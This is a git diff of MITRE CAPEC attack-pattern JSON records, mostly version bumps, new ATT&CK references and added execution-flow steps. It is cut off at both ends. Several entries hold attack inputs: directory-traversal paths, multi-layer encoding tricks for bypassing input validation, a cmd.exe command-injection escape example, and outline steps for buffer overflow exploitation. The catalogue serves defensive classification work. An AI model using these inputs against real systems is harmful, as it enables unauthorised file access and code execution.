  1. Redirect users to malicious website: As the attacker succeeds in exploiting the vulnerability, they are able to manipulate and interpose malicious response data to targeted victim queries.

    2. Techniques
    Intercept or modify a query, or send a bogus query with known credentials (such as transaction ID).
    Man-in-the-Middle intercepts secure communication between two parties.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The attacker must be able to modify the value stored in a cache to match a desired value.", @@ -78,7 +79,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--e283aef8-250b-4ac9-bf8b-34a6a70ed2f4.json b/capec/attack-pattern/attack-pattern--e283aef8-250b-4ac9-bf8b-34a6a70ed2f4.json index 7172c00554..7bf6b86a6a 100644 --- a/capec/attack-pattern/attack-pattern--e283aef8-250b-4ac9-bf8b-34a6a70ed2f4.json +++ b/capec/attack-pattern/attack-pattern--e283aef8-250b-4ac9-bf8b-34a6a70ed2f4.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--7809c3db-347f-41fb-b70c-a2eb10162a19", + "id": "bundle--64e5d9b5-5458-4a6f-8ba4-dd69658ce350", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--e283aef8-250b-4ac9-bf8b-34a6a70ed2f4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Manipulate Registry Information", "description": "An adversary exploits a weakness in authorization in order to modify content within a registry (e.g., Windows Registry, Mac plist, application registry). Editing registry information can permit the adversary to hide configuration information or remove indicators of compromise to cover up activity. Many applications utilize registries to store configuration and service information. As such, modification of registry information can affect individual services (affecting billing, authorization, or even allowing for identity spoofing) or the overall configuration of a targeted application. For example, both Java RMI and SOAP use registries to track available services. Changing registry values is sometimes a preliminary step towards completing another attack pattern, but given the long term usage of many registry values, manipulation of registry information could be its own end.", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/15.html", "external_id": "CWE-15" + }, + { + "source_name": "ATTACK", + "description": "Modify Registry", + "url": "https://attack.mitre.org/wiki/Technique/T1112", + "external_id": "T1112" } ], "object_marking_refs": [ @@ -42,7 +48,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--e3a32913-a4a6-4a3c-8f3b-a8a6dc16df53.json b/capec/attack-pattern/attack-pattern--e3a32913-a4a6-4a3c-8f3b-a8a6dc16df53.json index e5d25ded82..22cc8058e9 100644 --- a/capec/attack-pattern/attack-pattern--e3a32913-a4a6-4a3c-8f3b-a8a6dc16df53.json +++ b/capec/attack-pattern/attack-pattern--e3a32913-a4a6-4a3c-8f3b-a8a6dc16df53.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--091875e6-890d-45f3-ac38-d2b3842df9ea", + "id": "bundle--800c89d2-3422-4b53-bf9c-97ef85c09f52", "spec_version": "2.0", "objects": [ { @@ -31,7 +31,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--e61f5dd9-d26e-454f-ab07-171f3dea6e73.json b/capec/attack-pattern/attack-pattern--e61f5dd9-d26e-454f-ab07-171f3dea6e73.json index 7da8830ae9..6393d25591 100644 --- a/capec/attack-pattern/attack-pattern--e61f5dd9-d26e-454f-ab07-171f3dea6e73.json +++ b/capec/attack-pattern/attack-pattern--e61f5dd9-d26e-454f-ab07-171f3dea6e73.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--c1dfaa67-eada-4eba-87d5-0e101db7edc6", + "id": "bundle--bbf10ad5-3d16-4205-8802-081f48beb65c", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--e61f5dd9-d26e-454f-ab07-171f3dea6e73", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Buffer Overflow via Parameter Expansion", "description": "In this attack, the target software is given input that the attacker knows will be modified and expanded in size during processing. This attack relies on the target software failing to anticipate that the expanded data may exceed some internal limit, thereby creating a buffer overflow.", "external_references": [ @@ -94,9 +94,10 @@ ] }, "x_capec_example_instances": [ - "\n Attack Example: FTP glob()\n The glob() function in FTP servers has been susceptible to attack as a result of incorrect resizing. This is an ftpd glob() Expansion LIST Heap Overflow Vulnerability. ftp daemon contains a heap-based buffer overflow condition. The overflow occurs when the LIST command is issued with an argument that expands into an oversized string after being processed by glob().\n This buffer overflow occurs in memory that is dynamically allocated. It may be possible for attackers to exploit this vulnerability and execute arbitrary code on the affected host.\n To exploit this, the attacker must be able to create directories on the target host.\n The glob() function is used to expand short-hand notation into complete file names. By sending to the FTP server a request containing a tilde (~) and other wildcard characters in the pathname string, a remote attacker can overflow a buffer and execute arbitrary code on the FTP server to gain root privileges. Once the request is processed, the glob() function expands the user input, which could exceed the expected length. In order to exploit this vulnerability, the attacker must be able to create directories on the FTP server.\n [R.47.1][REF-2]See also: CVE-2001-0249", + "\n Attack Example: FTP glob()\n The glob() function in FTP servers has been susceptible to attack as a result of incorrect resizing. This is an ftpd glob() Expansion LIST Heap Overflow Vulnerability. ftp daemon contains a heap-based buffer overflow condition. The overflow occurs when the LIST command is issued with an argument that expands into an oversized string after being processed by glob().\n This buffer overflow occurs in memory that is dynamically allocated. It may be possible for attackers to exploit this vulnerability and execute arbitrary code on the affected host.\n To exploit this, the attacker must be able to create directories on the target host.\n The glob() function is used to expand short-hand notation into complete file names. By sending to the FTP server a request containing a tilde (~) and other wildcard characters in the pathname string, a remote attacker can overflow a buffer and execute arbitrary code on the FTP server to gain root privileges. Once the request is processed, the glob() function expands the user input, which could exceed the expected length. In order to exploit this vulnerability, the attacker must be able to create directories on the FTP server.\n [REF-1]See also: CVE-2001-0249", "\n Buffer overflow in the glob implementation in libc in NetBSD-current before 20050914, and NetBSD 2.* and 3.* before 20061203, as used by the FTP daemon, allows remote authenticated users to execute arbitrary code via a long pathname that results from path expansion.\n The limit computation of an internal buffer was done incorrectly. The size of the buffer in byte was used as element count, even though the elements of the buffer are 2 bytes long. Long expanded path names would therefore overflow the buffer.See also: CVE-2006-6652" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Consider parts of the program where user supplied data may be expanded by the program. Use a disassembler and other reverse engineering tools to guide the search.

Experiment

  1. Find a place where a buffer overflow occurs due to the fact that the new expanded size of the string is not correctly accounted for by the program. This may happen perhaps when the string is copied to another buffer that is big enough to hold the original, but not the expanded string. This may create an opportunity for planting the payload and redirecting program execution to the shell code.

Exploit

  1. Write the buffer overflow exploit. To be exploitable, the \"spill over\" amount (e.g. the difference between the expanded string length and the original string length before it was expanded) needs to be sufficient to allow the overflow of the stack return pointer (in the case of a stack overflow), without causing a stack corruption that would crash the program before it gets to execute the shell code. Heap overflow will be more difficult and will require the attacker to get more lucky, by perhaps getting a chance to overwrite some of the accounting information stored as part of using malloc().

", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "The program expands one of the parameters passed to a function with input controlled by the user, but a later function making use of the expanded parameter erroneously considers the original, not the expanded size of the parameter.", @@ -106,11 +107,11 @@ "Access to the program source or binary. If the program is only available in binary then a disassembler and other reverse engineering tools will be helpful." ], "x_capec_skills_required": { - "High": "Finding this particular buffer overflow may not be trivial. Also, stack and especially heap based buffer overflows require a lot of knowledge if the intended goal is arbitrary code execution. Not only that the attacker needs to write the shell code to accomplish his or her goals, but the attacker also needs to find a way to get the program execution to jump to the planted shell code. There also needs to be sufficient room for the payload. So not every buffer overflow will be exploitable, even by a skilled attacker." + "High": "Finding this particular buffer overflow may not be trivial. Also, stack and especially heap based buffer overflows require a lot of knowledge if the intended goal is arbitrary code execution. Not only that the attacker needs to write the shell code to accomplish their goals, but the attacker also needs to find a way to get the program execution to jump to the planted shell code. There also needs to be sufficient room for the payload. So not every buffer overflow will be exploitable, even by a skilled attacker." }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--e62000f0-addd-4156-b9fd-469bbb211d45.json b/capec/attack-pattern/attack-pattern--e62000f0-addd-4156-b9fd-469bbb211d45.json index 0da248c2d4..afa14ba215 100644 --- a/capec/attack-pattern/attack-pattern--e62000f0-addd-4156-b9fd-469bbb211d45.json +++ b/capec/attack-pattern/attack-pattern--e62000f0-addd-4156-b9fd-469bbb211d45.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--e72c8324-639c-46e7-9ce8-f427ed28e915", + "id": "bundle--eb9f60b0-233d-4017-913d-21993ed127b0", "spec_version": "2.0", "objects": [ { @@ -85,6 +85,7 @@ "\n Attack Example: Libc in FreeBSD\n A buffer overflow in the FreeBSD utility setlocale (found in the libc module) puts many programs at risk all at once.\n ", "\n Xtlib\n A buffer overflow in the Xt library of the X windowing system allows local users to execute commands with root privileges.\n " ], + "x_capec_execution_flow": "

Execution Flow

Experiment

  1. An attacker can call an API exposed by the target host.

  2. On the probing stage, the attacker injects malicious code using the API call and observes the results. The attacker's goal is to uncover a buffer overflow vulnerability.

Exploit

  1. The attacker finds a buffer overflow vulnerability, crafts malicious code and injects it through an API call. The attacker can at worst execute remote code on the target host.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The target host exposes an API to the user.", @@ -96,7 +97,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--e680008c-a642-4feb-a1c4-a29b54eb284a.json b/capec/attack-pattern/attack-pattern--e680008c-a642-4feb-a1c4-a29b54eb284a.json index 01300fd749..8b85efdddc 100644 --- a/capec/attack-pattern/attack-pattern--e680008c-a642-4feb-a1c4-a29b54eb284a.json +++ b/capec/attack-pattern/attack-pattern--e680008c-a642-4feb-a1c4-a29b54eb284a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d6942bfe-b13e-425a-a1c6-b1f762eba6da", + "id": "bundle--863e620d-d339-422f-8267-52c32bf9bf2b", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--e680008c-a642-4feb-a1c4-a29b54eb284a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Drop Encryption Level", "description": "An attacker forces the encryption level to be lowered, thus enabling a successful attack against the encrypted data.", "external_references": [ @@ -34,7 +34,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--e68b5623-7a7a-45f8-896f-12b38bedc838.json b/capec/attack-pattern/attack-pattern--e68b5623-7a7a-45f8-896f-12b38bedc838.json index 1808e77844..31eb5c10d2 100644 --- a/capec/attack-pattern/attack-pattern--e68b5623-7a7a-45f8-896f-12b38bedc838.json +++ b/capec/attack-pattern/attack-pattern--e68b5623-7a7a-45f8-896f-12b38bedc838.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--fb8ba267-ac96-41bb-8513-2c9a4a79e5e4", + "id": "bundle--b55ef7ad-ffd6-478b-9e29-3d0c3b575eea", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--e68b5623-7a7a-45f8-896f-12b38bedc838", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Amplification", "description": "An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/770.html", "external_id": "CWE-770" + }, + { + "source_name": "ATTACK", + "description": "Network Denial of Service:Reflection Amplification", + "url": "https://attack.mitre.org/wiki/Technique/T1498/002", + "external_id": "T1498.002" } ], "object_marking_refs": [ @@ -31,7 +37,7 @@ "This type of an attack requires the existence of a 3rd party service that generates a response that is significantly larger than the request that triggers it." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--e6c6d5fb-33e8-43ec-bff5-c0ade9d51304.json b/capec/attack-pattern/attack-pattern--e6c6d5fb-33e8-43ec-bff5-c0ade9d51304.json index 7c828d0082..6794726af5 100644 --- a/capec/attack-pattern/attack-pattern--e6c6d5fb-33e8-43ec-bff5-c0ade9d51304.json +++ b/capec/attack-pattern/attack-pattern--e6c6d5fb-33e8-43ec-bff5-c0ade9d51304.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--0f5406f2-9c4a-41cb-b6b3-d0189a3c19d5", + "id": "bundle--a2801057-9eba-48ac-81e6-efbfaf5d5bf5", "spec_version": "2.0", "objects": [ { @@ -55,7 +55,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--e6f6d082-2186-4008-b52f-91f67abdba90.json b/capec/attack-pattern/attack-pattern--e6f6d082-2186-4008-b52f-91f67abdba90.json index 2074fe7d96..53e91395ae 100644 --- a/capec/attack-pattern/attack-pattern--e6f6d082-2186-4008-b52f-91f67abdba90.json +++ b/capec/attack-pattern/attack-pattern--e6f6d082-2186-4008-b52f-91f67abdba90.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--4955b9f6-d57e-4bc4-bb88-bd8b04c83d1a", + "id": "bundle--15f89add-42cc-4fca-98e5-0f686e81ea3e", "spec_version": "2.0", "objects": [ { @@ -31,7 +31,7 @@ "This attack requires the ability to monitor the target's network connection." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--e7c0cce1-203e-454d-8a9a-76fa7ca120f8.json b/capec/attack-pattern/attack-pattern--e7c0cce1-203e-454d-8a9a-76fa7ca120f8.json index 52dd8221c9..220616b809 100644 --- a/capec/attack-pattern/attack-pattern--e7c0cce1-203e-454d-8a9a-76fa7ca120f8.json +++ b/capec/attack-pattern/attack-pattern--e7c0cce1-203e-454d-8a9a-76fa7ca120f8.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--32e3e861-cb70-4e5f-a45e-046c73da60ab", + "id": "bundle--232a1a96-5484-4040-9cea-e3fa04b95cd4", "spec_version": "2.0", "objects": [ { @@ -35,7 +35,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--e7eec058-4cd9-4fa0-8784-ed961d8d7290.json b/capec/attack-pattern/attack-pattern--e7eec058-4cd9-4fa0-8784-ed961d8d7290.json index 1bf6826336..8cb7e2478c 100644 --- a/capec/attack-pattern/attack-pattern--e7eec058-4cd9-4fa0-8784-ed961d8d7290.json +++ b/capec/attack-pattern/attack-pattern--e7eec058-4cd9-4fa0-8784-ed961d8d7290.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--de630000-cd7e-4f2e-848e-1862c3fc5317", + "id": "bundle--d19f5cd2-c3fd-4b79-89da-b5d16632f88f", "spec_version": "2.0", "objects": [ { @@ -27,7 +27,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--e827def7-6d74-48b4-8cd2-cd0e0ff00aeb.json b/capec/attack-pattern/attack-pattern--e827def7-6d74-48b4-8cd2-cd0e0ff00aeb.json index 43c0906354..6649633598 100644 --- a/capec/attack-pattern/attack-pattern--e827def7-6d74-48b4-8cd2-cd0e0ff00aeb.json +++ b/capec/attack-pattern/attack-pattern--e827def7-6d74-48b4-8cd2-cd0e0ff00aeb.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--047d82cb-c67f-4d2c-9386-d26a762637f9", + "id": "bundle--5268aa47-2968-4b52-b8d7-fa44d5955d6c", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--e827def7-6d74-48b4-8cd2-cd0e0ff00aeb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Exploiting Multiple Input Interpretation Layers", "description": "An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a \"layer\" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: --> --> . In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.", "external_references": [ @@ -98,8 +98,9 @@ ] }, "x_capec_example_instances": [ - "\n Using Escapes\n The backslash character provides a good example of the multiple-parser issue. A backslash is used to escape characters in strings, but is also used to delimit directories on the NT file system. When performing a command injection that includes NT paths, there is usually a need to \"double escape\" the backslash. In some cases, a quadruple escape is necessary.\n Original String: C:\\\\\\\\winnt\\\\\\\\system32\\\\\\\\cmd.exe /c\n \n Interim String: C:\\\\winnt\\\\system32\\\\cmd.exe /c\n \n Final String: C:\\winnt\\system32\\cmd.exe /c\n This diagram shows each successive layer of parsing translating the backslash character. A double backslash becomes a single as it is parsed. By using quadruple backslashes, the attacker is able to control the result in the final string.\n [R.43.1][REF-2]\n " + "\n Using Escapes\n The backslash character provides a good example of the multiple-parser issue. A backslash is used to escape characters in strings, but is also used to delimit directories on the NT file system. When performing a command injection that includes NT paths, there is usually a need to \"double escape\" the backslash. In some cases, a quadruple escape is necessary.\n Original String: C:\\\\\\\\winnt\\\\\\\\system32\\\\\\\\cmd.exe /c\n \n Interim String: C:\\\\winnt\\\\system32\\\\cmd.exe /c\n \n Final String: C:\\winnt\\system32\\cmd.exe /c\n This diagram shows each successive layer of parsing translating the backslash character. A double backslash becomes a single as it is parsed. By using quadruple backslashes, the attacker is able to control the result in the final string.\n [REF-1]\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine application/system inputs where bypassing input validation is desired: The attacker first needs to determine all of the application's/system's inputs where input validation is being performed and where they want to bypass it.

    2. Techniques
    While using an application/system, the attacker discovers an input where validation is stopping them from performing some malicious or unauthorized actions.

Experiment

  1. Determine which character encodings are accepted by the application/system: The attacker then needs to provide various character encodings to the application/system and determine which ones are accepted. The attacker will need to observe the application's/system's response to the encoded data to determine whether the data was interpreted properly.

    2. Techniques
    Determine which escape characters are accepted by the application/system. A common escape character is the backslash character, '\\'
    Determine whether URL encoding is accepted by the application/system.
    Determine whether UTF-8 encoding is accepted by the application/system.
    Determine whether UTF-16 encoding is accepted by the application/system.
    Determine if any other encodings are accepted by the application/system.

  2. Combine multiple encodings accepted by the application.: The attacker now combines encodings accepted by the application. The attacker may combine different encodings or apply the same encoding multiple times.

    3. Techniques
    Combine same encoding multiple times and observe its effects. For example, if special characters are encoded with a leading backslash, then the following encoding may be accepted by the application/system: \"\\\\\\.\". With two parsing layers, this may get converted to \"\\.\" after the first parsing layer, and then, to \".\" after the second. If the input validation layer is between the two parsing layers, then \"\\\\\\.\\\\\\.\" might pass a test for \"..\" but still get converted to \"..\" afterwards. This may enable directory traversal attacks.
    Combine multiple encodings and observe the effects. For example, the attacker might encode \".\" as \"\\.\", and then, encode \"\\.\" as \"\.\", and then, encode that using URL encoding to \"%26%2392%3B%26%2346%3B\"

Exploit

  1. Leverage ability to bypass input validation: Attacker leverages their ability to bypass input validation to gain unauthorized access to system. There are many attacks possible, and a few examples are mentioned here.

    2. Techniques
    Gain access to sensitive files.
    Perform command injection.
    Perform SQL injection.
    Perform XSS attacks.
", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "User input is used to construct a command to be executed on the target system or as part of the file name.", @@ -110,7 +111,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--e8f4c3d0-0aaf-4a96-b31c-9e6e8b5e15da.json b/capec/attack-pattern/attack-pattern--e8f4c3d0-0aaf-4a96-b31c-9e6e8b5e15da.json index 4fc6f3ce4d..eefad9cd15 100644 --- a/capec/attack-pattern/attack-pattern--e8f4c3d0-0aaf-4a96-b31c-9e6e8b5e15da.json +++ b/capec/attack-pattern/attack-pattern--e8f4c3d0-0aaf-4a96-b31c-9e6e8b5e15da.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--b4065bec-4ee2-4bff-9c96-dc73238459d7", + "id": "bundle--34ef8242-61df-4030-af62-a52d7e47f655", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--e8f4c3d0-0aaf-4a96-b31c-9e6e8b5e15da", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "DEPRECATED: Obtain Data via Utilities", - "description": "This CAPEC has been deprecated because of is not directly related to a weakness, social engineering, supply chains, or a physical-based attack.", + "description": "This CAPEC has been deprecated because it is not directly related to a weakness, social engineering, supply chains, or a physical-based attack.", "external_references": [ { "source_name": "capec", @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--e9d5d2e4-588f-43c1-bc98-73417abbb727.json b/capec/attack-pattern/attack-pattern--e9d5d2e4-588f-43c1-bc98-73417abbb727.json index dc99ad5df8..0473ca9a60 100644 --- a/capec/attack-pattern/attack-pattern--e9d5d2e4-588f-43c1-bc98-73417abbb727.json +++ b/capec/attack-pattern/attack-pattern--e9d5d2e4-588f-43c1-bc98-73417abbb727.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--ce045e4e-5ec3-40fe-8551-030bd4d0254d", + "id": "bundle--0ad4bc8a-2355-4c89-a4c0-418553671136", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--e9d5d2e4-588f-43c1-bc98-73417abbb727", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Establish Rogue Location", "description": "An adversary provides a malicious version of a resource at a location that is similar to the expected location of a legitimate resource. After establishing the rogue location, the adversary waits for a victim to visit the location and access the malicious resource.", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/200.html", "external_id": "CWE-200" + }, + { + "source_name": "ATTACK", + "description": "User Execution:Malicious File", + "url": "https://attack.mitre.org/wiki/Technique/T1204/002", + "external_id": "T1204.002" } ], "object_marking_refs": [ @@ -44,7 +50,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--ea07b1ea-c1b0-4923-8d25-a8fc39da040a.json b/capec/attack-pattern/attack-pattern--ea07b1ea-c1b0-4923-8d25-a8fc39da040a.json index 7b439cc662..f80dbb3039 100644 --- a/capec/attack-pattern/attack-pattern--ea07b1ea-c1b0-4923-8d25-a8fc39da040a.json +++ b/capec/attack-pattern/attack-pattern--ea07b1ea-c1b0-4923-8d25-a8fc39da040a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--03efb7f2-6d5d-4d13-98a6-dd1658e80429", + "id": "bundle--666db829-6d87-4d2e-8774-e7b81ee3f3bd", "spec_version": "2.0", "objects": [ { @@ -60,7 +60,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--eade303a-1d70-4095-96da-5cf1d9f4333f.json b/capec/attack-pattern/attack-pattern--eade303a-1d70-4095-96da-5cf1d9f4333f.json index 484c9d119b..d0abbfa58f 100644 --- a/capec/attack-pattern/attack-pattern--eade303a-1d70-4095-96da-5cf1d9f4333f.json +++ b/capec/attack-pattern/attack-pattern--eade303a-1d70-4095-96da-5cf1d9f4333f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d6e3a723-032f-4792-b136-abfa3817820b", + "id": "bundle--7b8fc0fd-b43e-4364-8cd2-6ad5cf08c7ec", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--eade303a-1d70-4095-96da-5cf1d9f4333f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "XSS Targeting HTML Attributes", "description": "An adversary inserts commands to perform cross-site scripting (XSS) actions in HTML attributes. Many filters do not adequately sanitize attributes against the presence of potentially dangerous commands even if they adequately sanitize tags. For example, dangerous expressions could be inserted into a style attribute in an anchor tag, resulting in the execution of malicious code when the resulting page is rendered. If a victim is tricked into viewing the rendered page the attack proceeds like a normal XSS attack, possibly resulting in the loss of sensitive cookies or other malicious activities.", "external_references": [ @@ -41,7 +41,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--eb0ebb0b-d4e1-4480-87a8-043d6f93c972.json b/capec/attack-pattern/attack-pattern--eb0ebb0b-d4e1-4480-87a8-043d6f93c972.json index 0ab5d865f3..1f127d962e 100644 --- a/capec/attack-pattern/attack-pattern--eb0ebb0b-d4e1-4480-87a8-043d6f93c972.json +++ b/capec/attack-pattern/attack-pattern--eb0ebb0b-d4e1-4480-87a8-043d6f93c972.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--988a8a4a-41e5-43fd-ad40-43695da51f3a", + "id": "bundle--e3056c06-49fe-4ad1-84f0-e809dbc43535", "spec_version": "2.0", "objects": [ { @@ -49,7 +49,7 @@ "BGP Router" ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--eba7bbc3-fb5e-46c4-8547-742d1d144fb3.json b/capec/attack-pattern/attack-pattern--eba7bbc3-fb5e-46c4-8547-742d1d144fb3.json index fbcbbdd468..0695cbae50 100644 --- a/capec/attack-pattern/attack-pattern--eba7bbc3-fb5e-46c4-8547-742d1d144fb3.json +++ b/capec/attack-pattern/attack-pattern--eba7bbc3-fb5e-46c4-8547-742d1d144fb3.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f666a9e0-b281-4bd6-999b-49ca5f308a97", + "id": "bundle--41ac3571-13e3-4f42-9de7-767afd0b8d20", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--eba7bbc3-fb5e-46c4-8547-742d1d144fb3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Using Slashes in Alternate Encoding", "description": "This attack targets the encoding of the Slash characters. An attacker would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the attacker many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.", "external_references": [ @@ -126,6 +126,7 @@ "x_capec_example_instances": [ "\n Attack Example: Slashes in Alternate Encodings\n The two following requests are equivalent on most Web servers:\n http://target server/some_directory\\..\\..\\..\\winnt\n is equivalent to\n http://target server/some_directory/../../../winnt\n Multiple encoding conversion problems can also be leveraged as various slashes are instantiated in 